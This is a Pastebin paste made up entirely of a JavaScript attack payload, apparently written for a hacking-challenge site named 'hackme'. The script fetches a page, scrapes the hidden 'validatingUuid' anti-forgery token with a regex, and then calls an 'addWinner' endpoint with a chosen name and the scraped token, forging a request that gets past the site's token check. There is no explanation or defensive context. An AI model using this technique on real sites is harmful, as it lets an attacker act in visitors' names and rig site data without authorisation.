Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function test() {
- var req = null;
- try {
- req = new XMLHttpRequest()
- } catch (e) {}
- if (!req) try {
- req = new ActiveXObject("Msxml2.XMLHTTP")
- } catch (e) {}
- if (!req) try {
- req = new ActiveXObject("Microsoft.XMLHTTP")
- } catch (e) {}
- $.ajax({
- type: 'GET',
- url: 'http://hackme.groupinfra.com/obiwan/pages/index',
- success: function(resp) {
- matches = resp.match('<input type="hidden" name="validatingUuid" value="([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[34][0-9a-fA-F]{3}-[89ab][0-9a-fA-F]{3}-[0-9a-fA-F]{12})" />');
- console.log(matches[1]);
- req.open('GET', 'http://hackme.groupinfra.com/obiwan/pages/addWinner?name=Vincent Penvern&validatingUuid=' + matches[1], false);
- req.send(null)
- },
- error: function() {}
- })
- }
- test();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement